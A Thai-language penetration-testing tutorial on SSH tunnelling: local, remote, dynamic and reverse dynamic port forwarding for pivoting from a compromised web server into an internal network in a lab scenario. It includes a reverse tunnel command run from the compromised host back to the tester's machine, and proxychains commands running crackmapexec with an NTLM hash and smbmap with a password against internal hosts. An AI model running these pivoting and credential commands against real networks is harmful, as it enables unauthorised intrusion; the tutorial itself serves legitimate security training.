SSH Tunnel for Penetration Testing

Wisawa P.
INCOGNITO LAB
Published in
6 min readMay 19, 2023
Photo by Alexander Mils on Unsplash

Introduction

หลาย ๆ คนน่าจะคุ้นเคยกับ Secure Shell (SSH) กันดี ว่าเป็น protocol ที่มีการเข้ารหัสซึ่งใช้ในการเชื่อมต่อไปยังเครื่องคอมพิวเตอร์ต่าง ๆ หรือแม้แต่ใช้งานในการเคลื่อนย้ายไฟล์ระหว่าง host แต่รู้หรือไม่ว่า SSH ยังสามารถที่จะทำสิ่งที่เรียกว่า “SSH Tunnel” ได้อีกด้วย

FYI: ใน Windows 10 ตั้งแต่ Build 1089 เป็นต้นไป และ Windows Server 2019 หรือใหม่กว่า จะมี OpenSSH ถูกติดตั้งเอาไว้บนเครื่องอยู่แล้ว ไม่จำเป็นที่จะต้องทำการติดตั้งเพิ่มเติมแต่อย่างใด โดยสามารถเรียกใช้งานผ่าน Command Prompt (cmd) หรือ PowerShell ได้เลย
อีกทางเลือกหนึ่งหาก Windows ไม่ได้มีการติดตั้ง OpenSSH เอาไว้ ก็สามารถใช้งาน OpenSSH Portable version แทนได้ ซึ่งเป็น version ที่สามารถเรียกใช้งานได้ทันทีโดยไม่จำเป็นต้องติดตั้งก่อนแต่อย่างใด โดยสามารถ download ได้ที่ https://github.com/PowerShell/Win32-OpenSSH/releases

การใช้งาน SSH สามารถใช้งานผ่านเครื่องมือต่าง ๆ ได้ เช่น PuTTY, plink เป็นต้น ซึ่งโปรแกรมเหล่านี้มีการรองรับการใช้งาน SSH Tunnel เช่นเดียวกัน แต่ภายในบทความนี้จะเน้นไปที่การใช้งาน OpenSSH เป็นหลัก

ตัวอย่างการใช้งาน SSH Tunnel บน PuTTY และ plink
PuTTY:

plink:

What is SSH Tunneling

SSH Tunneling เป็นการสร้าง tunnel ขึ้นมาระหว่าง SSH client และ SSH server โดย tunnel นี้สามารถที่จะถูกใช้งานเพื่อส่งข้อมูลของ protocol อื่น ๆ ที่นอกเหนือจาก SSH protocol ได้ อีกทั้งข้อมูลที่ส่งผ่าน SSH Tunnel นี้จะถูกเข้ารหัสเอาไว้อีกด้วย

ประโยชน์ของการใช้งาน SSH Tunnel ขณะที่ทำ Penetration Testing หรือ Red Teaming จะช่วยให้เราเข้าถึงเครื่อง server ต่าง ๆ ที่อยู่ภายใน internal network ที่ไม่สามารถเข้าถึงได้โดยตรงจากเครื่องของเราเอง นอกจากนี้การทำ SSH Tunnel ยังไม่จำเป็นต้องใช้งาน scripts หรือติดตั้งเครื่องมืออื่น ๆ บนเครื่องเป้าหมายเพิ่มเติม เพราะส่วนใหญ่บนเครื่อง server มักจะมีการติดตั้ง OpenSSH เอาไว้อยู่แล้ว และยังเป็นการลดความเสี่ยงที่จะเกิดกิจกรรมที่ต้องสงสัยภายในระบบอีกด้วย เนื่องจาก SSH client เป็นโปรแกรมที่ผู้ดูแลระบบใช้งานกันทั่วไปอยู่แล้ว

Scenario

ก่อนที่จะไปรู้จักกับการใช้งาน SSH Tunnel ในรูปแบบต่าง ๆ ทางผู้เขียนได้จัดทำตัวอย่างสถานการณ์ขึ้นมา ให้เห็นภาพการใช้งานได้มากยิ่งขึ้น

Pentester Machine: 175.16.1.20
incornetto.web:
# Public Interface: 99.100.3.211
# Private Interface: 10.50.20.4
incornetto.local network: 10.50.20.0/24

Engagement:
1) incornetto.web is an internet facing web site
2) incornetto.local network allows connection from incornetto.web
Penetration Test Scenario

จากตัวอย่างด้านบนเราสามารถสังเกตเห็นได้ว่า Penetration Tester จะไม่สามารถเข้าถึง incornetto.local ได้โดยตรง มีเพียงเครื่อง incornetto.web เท่านั้นที่จะสามารถเข้าถึงได้ ดังนั้นผู้ทดสอบจะต้องโจมตีและยึดครองเครื่อง incornetto.web ให้ได้ก่อน
สมมติว่าเราสามารถโจมตีและยึดเครื่อง incornetto.web ได้และพบว่าภายในเครื่องได้ติดตั้ง SSH เอาไว้ เราสามารถที่จะสร้าง SSH Tunnel ขึ้นมาเพื่อส่งต่อ connection จากเครื่องของเราไปยัง incornetto.local network ได้ ซึ่งการใช้งาน SSH Tunnel สามารถแบ่งออกเป็น 3 ประเภท

Local Port Forwarding

จะเป็นการเชื่อม service port ของเครื่องเป้าหมายกับ local port บนเครื่องของเรา โดยการจะทำการ bind service port การใช้งานในลักษณะนี้ได้นั้น ผู้ใช้งานจำเป็นที่จะต้องทราบว่าเครื่องเป้าหมายมีการเปิดใช้งาน service port ใดอยู่บ้าง

# Short form
ssh -fNTL <LOCAL_PORT>:<REMOTER_SERVER>:<REMOTE_PORT> john_doe@<REMOTER_SERVER>

# Long form
ssh -fNTL localhost:<LOCAL_PORT>:<REMOTE_SERVER>:<REMOTE_PORT> john_doe@<REMOTER_SERVER>

Example Command:

SSH Tunnel — Local Port Forwarding

จากตัวอย่างด้านบน หากเราพบว่าที่เครื่อง 10.50.20.253 มีการเปิดใช้งาน port TCP/8080 อยู่ (อาจจะพบจากการ scan port โดยใช้เครื่อง incornetto.web ) และหากเราต้องการเชื่อมต่อไปที่ port ดังกล่าวเราสามารถใช้คำสั่งดังต่อไปนี้เพื่อเป็นการสร้าง SSH Tunnel ขึ้นมาโดยใช้เครื่อง incornetto.web เป็นทางผ่านในการเชื่อมต่อได้

ssh -fNTL 8080:10.50.20.253:8080 hodor@incornetto.web

Command breakdown:

options:
-f — หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง
-N — เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server
-T — การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ
-L — เป็นการระบุว่าจะมีการใช้งาน Local Port Forwarding

ssh -fNTL 8080:10.50.20.253:8080
เป็นการระบุว่าหากมีการเชื่อมต่อเข้ามาที่ localhost:8080 บนเครื่องของ Penetration Tester (172.16.1.20) connection ทั้งหมดจะถูกส่งต่อไปยัง 10.50.20.253 ผ่านทาง incornetto.web โดย SSH client จะทำงานอยู่ในเบื้องหลังและมีไว้สำหรับการทำ port forwarding เท่านั้น ไม่จำเป็นที่จะต้องรัน terminal ขึ้นมาใช้งาน

hodor@incornetto.web
เป็นการระบุ username ของ SSH ที่ใช้เชื่อมต่อไปยังเครื่อง remote server ในตัวอย่างนี้จะเป็นการเชื่อมต่อไปยัง incornetto.web

Remote Port Forwarding

ในบางครั้งหากเราพบว่า firewall มีการกำหนดให้เราเข้าถึงแค่ port ที่กำหนดเอาไว้บนเครื่องที่เราสามารถยึดครองมาได้ เช่น allow connection แค่ TCP/443 ถ้าหากเราจะใช้งาน Local Port Forwarding จะค่อนข้างใช้งานลำบาก หากพบเหตุการณ์คล้าย ๆ แบบที่ว่าไป เราจะมีอีกวิธีการหนึ่งที่จะนำมาประยุกต์ใช้ซึ่งเรียกว่า Remote port forwarding โดยจะเป็นการเปิดใช้งาน SSH server ที่เครื่องของเราแทน และให้เครื่องที่ยึดครองได้ทำหน้าที่เป็น SSH client เพื่อ connect มายัง port ที่กำหนดไว้ของเครื่องเรา

 ssh -fNTR <REMOTE_PORT>:localhost:<LOCAL_PORT> john_doe@<REMOTE_SERVER>

Additional Server Configuration
นอกจากที่เราจะสามารถใช้งาน Remote Port Forward ตามรูปแบบปกติได้แล้ว เรายังสามารถทำการตั้งค่าเพิ่มเติมให้กับ SSH server เพิ่มเติมได้ เพื่อใช้งานฟังก์ชันบางอย่างเพิ่มได้อีกด้วย ซึ่งปกติแล้วการเปิด listen port ที่ remote server นั้นจะเป็นการ listen ที่ loopback interface (127.0.0.1) ของเครื่อง remote server เพียงอย่างเดียวเท่านั้น ทำให้การที่จะ connect ไปยัง listen port นั้นจะต้องมาจากภายในเครื่องเท่านั้น หากต้องการให้คนอื่นสามารถ connect มาที่ port ที่เปิดขึ้นมาใหม่ได้ จำเป็นจะต้องไปแก้ไข sshd_config ของ OpenSSH ดังนี้

# Linux: sshd_config located at /etc/ssh/sshd_config
# Windows: sshd_config located at %programdata%\ssh\sshd_config
GatewayPorts yes

ในบางครั้งเราอาจจะต้องการให้มีการเชื่อมต่อมาจาก IP address ที่กำหนดเอาไว้เท่านั้นถึงจะสามารถเข้าถึงข้อมูลต่าง ๆ ที่ remote port ได้ ซึ่งเราสามารถแก้ไข sshd_config ของ OpenSSH โดยกำหนด IP address ที่เราต้องการได้เลย โดยการเพิ่ม configuration ต่อไปนี้

# Linux: sshd_config located at /etc/ssh/sshd_config
# Windows: sshd_config located at %programdata%\ssh\sshd_config
GatewayPorts clientspecified

อีกมุมมองหนึ่งที่อยากจะพูดถึงก็คือการกำหนดสิทธิการใช้งานของ user ที่ใช้ในการทำ SSH Tunnel หากมีการตั้งค่าสิทธิการใช้งานที่ไม่ดีพอบนเครื่อง SSH server ก็อาจจะส่งผลให้เครื่องดังกล่าวมีความเสี่ยงที่จะถูกโจมตีได้เช่นเดียวกัน หากมีการใช้งาน SSH Tunnel ก็ควรที่จะมีการกำหนดสิทธิการใช้งานของ user นั้น ๆ ให้ได้ทำได้แค่ SSH Tunnel เพียงอย่างเดียว โดยอ้างอิงหลักการของ Least Privilege เพื่อเป็นการลดความเสี่ยงที่จะเกิดขึ้นได้

สำหรับตัวอย่างในการลดความเสี่ยงคือการสร้าง user ขึ้นมาใหม่และกำหนดสิทธิไม่ให้มีการใช้งาน shell หรือใช้งานคำสั่งต่าง ๆ บนระบบได้

# create new user for SSH tunnel usage
useradd -M -s /bin/false jon_snow

แม้ว่าจะมีการกำหนด default shell ของ user ไว้เป็น /bin/false แต่ยังสามารถที่จะเข้าสู่ระบบด้วยผู้ใช้งานดังกล่าวได้อยู่ เพียงแต่จะไม่มีการอนุญาตให้ใช้งานคำสั่งต่าง ๆ ได้

Example Command:

SSH Tunnel — Remote Port Forwarding

จากตัวอย่างด้านบน เราจะสร้าง SSH Tunnel ขึ้นมา โดยที่เครื่องของ Penetration Tester (172.16.1.20) จะมีการเปิด listen ไว้ที่ port: TCP/12345 เมื่อใดก็ตามที่เราเชื่อมต่อไปยัง 172.16.1.20:12345 เราก็จะสามารถเข้าถึงข้อมูลต่าง ๆ ที่ incornetto.web:8000 ได้

# Execute command on incornetto.web machine
ssh -fNTR 12345:localhost:8000 jon_snow@175.16.1.20

Command breakdown:

options:
-f หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง
-N เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server
-T การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ
-R เป็นการระบุว่าจะมีการใช้งาน Remote Port Forwarding

ssh -fNTR 12345:localhost:8000
เป็นการระบุว่าหากใครก็ตามที่เชื่อมต่อเข้ามาที่ 172.16.1.20:12345 ก็จะสามารถเข้าถึงข้อมูลต่าง ๆ ที่ incornetto.web:8000 ได้

jon_snow@175.16.1.20
เป็นการระบุ username ของ SSH ที่ใช้เชื่อมต่อไปยังเครื่อง Penetration Tester (175.16.1.20)

Dynamic Port Forwarding

แทนที่เราจะต้องมาระบุว่าต้องการจะเข้าถึง port ใดบ้างที่เครื่องปลายทาง ในบางครั้งเราก็อาจจะต้องการเข้าถึงหลาย ๆ port พร้อมกัน ถ้าต้องระบุทีละ port ว่าอันไหนบ้างก็อาจจะต้องใช้เวลาค่อนข้างนาน จึงมีอีกวิธีการหนึ่งที่เรียกว่า Dynamic Port Forwarding ที่จะทำให้เราเข้าถึงได้ทีละหลาย ๆ port ที่ต้องการโดยไม่จำเป็นต้องระบุ IP Address และ port ของเครื่องปลายทางเลย

การใช้งานรูปแบบนี้จะเป็นการเปิดใช้งาน SOCKS Proxy server ที่เครื่องของ SSH client ทำให้ต้องมีการใช้งานผ่าน Proxy client ต่าง ๆ ที่มีการรองรับการใช้งาน SOCKS Proxy เช่น proxychains, FoxyProxy เป็นต้น

 ssh -D <LOCAL_PORT> jane_doe@<COMPROMISED_SERVER>
SSH Tunnel — Dynamic Port Forwarding

จากตัวอย่างด้านบน เราจะไม่สามารถเข้าถึง incornetto.local ได้โดยตรง แต่เราจะสร้าง SSH Tunnel ขึ้นมาและใช้เครื่อง incornetto.web เป็นคนส่งข้อมูลไปยังปลายทาง โดยเราจะให้ OpenSSH ทำหน้าที่เป็น SOCKS proxy และรอรับ connection ต่าง ๆ อยู่ที่ port ที่เรากำหนดเอาไว้บนเครื่องของ Penetration Tester (175.16.1.20)

ssh -fNTD 23456 hodor@incornetto.web

Command breakdown:

options:
-f หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง
-N เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server
-T การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ
-D เป็นการระบุว่าจะมีการใช้งาน Dynamic Port Forwarding

ssh -fNTD 23456
เป็นการระบุว่าให้ SSH Tunnel ให้ทำตัวเป็น SOCKS proxy และรอรับ connection ต่าง ๆ ที่ port: TCP/23456 ของเครื่อง Penetration Tester (175.16.1.20) เมื่อ SSH Tunnel รับ connection มาเรียบร้อยแล้วจะส่งต่อไปยังเครื่อง incornetto.web เพื่อให้ส่งไปยังเครื่องปลายทาง

hodor@incornetto.web
เป็นการระบุ username ที่ใช้เชื่อมต่อ SSH ไปยังเครื่อง incornetto.web

หลังจากที่มีการสร้าง SSH Tunnel ขึ้นมาเรียบร้อยแล้ว เราสามารถใช้ proxy client ต่าง ๆ ในการส่ง connection ผ่าน SOCKS proxy ได้เลย ในตัวอย่างจะเป็นใช้งาน proxychains ซึ่งเราจำเป็นที่จะต้องแก้ไข configuration ของ proxychains ก่อนที่จะใช้งาน SOCKS proxy โดยตัวอย่าง configuration ด้านล่างจะเป็นการระบุว่าจะมีการใช้งาน SOCKS proxy ที่ localhost:23456

sudo echo 'socks5 127.0.0.1 23456' >> /etc/proxychains4.conf

เมื่อแก้ไข configuration เรียบร้อยแล้ว เราสามารถใช้งานคำสั่งต่าง ๆ ผ่าน proxychains ได้เลย โดยในตัวอย่างด้านล่างจะเป็นการใช้งาน crackmapexec ผ่าน proxychains โดย connection จาก crackmapexec จะถูกส่งไปที่ port: TCP/23456 บนเครื่องของเรา และส่งไปยังเครื่อง incornetto.web ผ่านทาง SSH Tunnel จากนั้นจะส่ง connection ไปยังเครื่อง 10.50.20.112 ซึ่งเป็นเครื่องที่อยู่ใน internal network

proxychains crackmapexec smb 10.50.20.112 -d 'seven.kingdom' -u 'jon_snow' -H 0DADDA06E1285B76E903ADF9E7D73FC8

SOCKS Proxy with DNS

สำหรับการใช้งาน proxychains และ SOCKS4 นั้นจะไม่ได้มีการสนับสนุน DNS resolve มาตั้งแต่แรก ทำให้เราต้องทำการแก้ไขและเพิ่ม hostname ที่เราต้องการที่ไฟล์ /etc/hosts (Linux) / %systemdrive%\Windows\System32\drivers\etc\hosts (Windows) เพื่อให้เครื่องของเราสามารถที่จะ resolve IP address ของ hostname ที่เราต้องการใช้งานได้

แต่ใน SOCKS4a และ SOCKS5 ได้รองรับการใช้งาน DNS resolve เรียบร้อยแล้ว ทำให้เราไม่จำเป็นที่จะต้องทำการแก้ไขไฟล์ hosts เพื่อเพิ่ม hostname อีกต่อไป โดยเราสามารถแก้ไข configuration ของ proxychains เพื่อให้เราสามารถทำ DNS resolve ผ่าน SOCKS proxy ได้ตามด้านล่าง

# Uncomment the proxy_dns line at /etc/proxychains4.conf

# Proxy DNS requests — no leak for DNS data
proxy_dns

Reverse Dynamic Port Forward

ตั้งแต่ OpenSSH version 7.6 ขึ้นไป จะมีการรองรับการใช้งานที่เรียกว่า Reverse Dynamic Port Forwarding ซึ่งตัวของ SSH จะทำหน้าที่เป็น SOCKS Proxy และ forward connection ต่าง ๆ ไปที่เครื่องปลายทาง โดยจะต้องมีการใช้งานผ่าน proxy client ต่าง ๆ เช่น proxychains, FoxyProxy เป็นต้น

วิธีการใช้งานจะคล้าย ๆ กับ Dynamic Port Forwarding ก็คือเราไม่จำเป็นที่จะต้องระบุ IP address และ port ของเครื่องปลายทางเลย แต่จะต่างกันตรงที่ว่าวิธีการนี้เครื่องของเราจะทำหน้าเป็น SSH server และจะให้เครื่องที่เรายึดครองมาได้นั้นเชื่อมต่อเข้ามาหาเราแทน

## Pentester's machine
sudo service ssh start # Start SSH service
sudo echo 'socks5 127.0.0.1 <PORT>' >> /etc/proxychains4.conf # Modify proxychains configuration

## Compromised Server
ssh -R <PENTESTER_PORT> jon_snow@<PENTESTER_MACHINE> # Connect to pentester's machine and enable reverse proxy on the specific port

สำหรับการตั้งค่าต่าง ๆ เพิ่มเติมของฝั่ง SSH server นั้น เราสามารถตั้งค่าได้เช่นเดียวกันกับกรณีของ Remote Port Forwarding ก่อนหน้านี้ได้เลย

Example Command:

SSH Tunnel — Reverse Dynamic Port Forwarding

จากตัวอย่างด้านบน เราจะสร้าง SSH Tunnel ขึ้นมา โดยเครื่องของ Penetration Tester (175.16.1.20) จะทำหน้าที่เป็น SSH server แทนและให้เครื่อง incornetto.web เป็น SSH client ที่เชื่อมต่อมาแทน รวมถึงจะสั่งให้มีการเปิด SOCKS proxy ที่ port ที่กำหนดบนเครื่องของ Penetration Tester (175.16.1.20) เอาไว้ด้วย

# Execute command on incornetto.web machine
ssh -fNTR 34567 jon_snow@175.16.1.20

Command Breakdown:

options:
-f หลังจากที่ยืนยันตัวตนเรียบร้อยแล้ว ให้ SSH client ทำงานเป็นเบื้องหลัง
-N เป็นการระบุว่าให้ทำ port forwarding เพียงอย่างเดียว ไม่ต้องรันคำสั่งใด ๆ ที่เครื่อง remote server
-T การปิดไม่ให้มี interaction กับ SSH client ใช้เพื่อเป็นการบอกให้ทำการเชื่อมต่อไปยังเครื่องเป้าหมายเท่านั้น ไม่จำเป็นที่จะต้องมีการ spawn terminal ขึ้นมาเพื่อรันคำสั่งต่าง ๆ
-R เป็นการระบุว่าจะมีการใช้งาน Reverse Dynamic Port Forwarding (ใช้ syntax เดียวกับของ Remote Port Forwarding)

ssh -fNTR 34567
เป็นการระบุว่าให้ SSH Tunnel ให้ทำตัวเป็นเหมือน SOCKS proxy และรอรับ connection ต่าง ๆ ที่ port: TCP/34567 ของเครื่อง Penetration Tester (175.16.1.20) เมื่อ SSH Tunnel รับ connection มาเรียบร้อยแล้วจะส่งต่อไปยังเครื่อง incornetto.web เพื่อให้ส่งไปยังเครื่องปลายทาง

jon_snow@175.16.1.20
เชื่อมต่อไปยังเครื่องของ Penetration Tester (175.16.1.20) ด้วย username ที่มีการใช้งานอยู่ภายในเครื่อง

หลังจากที่มีการสร้าง SSH Tunnel ขึ้นมาเรียบร้อยแล้ว เราสามารถใช้ proxy client ต่าง ๆ ในการส่ง connection ผ่าน SOCKS proxy ได้เลย ในตัวอย่างจะเป็นใช้งาน proxychains ซึ่งเราจำเป็นที่จะต้องแก้ไข configuration ของ proxychains ก่อนที่จะใช้งาน SOCKS proxy โดยตัวอย่าง configuration ด้านล่างจะเป็นการระบุว่าจะมีการใช้งาน SOCKS proxy ที่ localhost:34567

sudo echo 'socks5 127.0.0.1 34567' >> /etc/proxychains4.conf

เมื่อแก้ไข configuration เรียบร้อยแล้ว เราสามารถใช้งานคำสั่งต่าง ๆ ผ่าน proxychains ได้เลย โดยในตัวอย่างด้านล่างจะเป็นการใช้งาน smbmap ผ่าน proxychains โดย connection จาก smbmap จะถูกส่งไปที่ port: TCP/34567 บนเครื่องของเราและส่งไปยังเครื่อง incornetto.web ผ่านทาง SSH Tunnel จากนั้นจะส่ง connection ไปยังเครื่อง 10.50.20.253 ซึ่งเป็นเครื่องที่อยู่ใน internal network

 proxychains smbmap -H 10.50.20.253 -u 'jon_snow' -p 'i-know-nothing'

ในบางครั้งการใช้งาน SSH Tunnel อาจจะไม่ค่อยมีความเสถียรมากมัก ทั้งจากปัจจัยทาง network ที่อาจจะทำเกิด timeout ขึ้นได้บ่อย ๆ เลยมี tools หลาย ๆ ตัวที่ใช้เพิ่มความเสถียรให้กับ SSH Tunnel ได้ เช่น

สุดท้ายนี้ในการทำ Network Pivoting นั้นมีเทคนิคที่มากมายหลากหลายให้เลือกใช้กันตามแต่จะสะดวก บทความชุดนี้เป็นเพียงหนึ่งในเทคนิคที่สามารถนำไปประยุกต์ใช้งานได้ทั้งในการทำ Network Penetration Test การสอบ security certifications ต่าง ๆ ได้

Reference:

--

--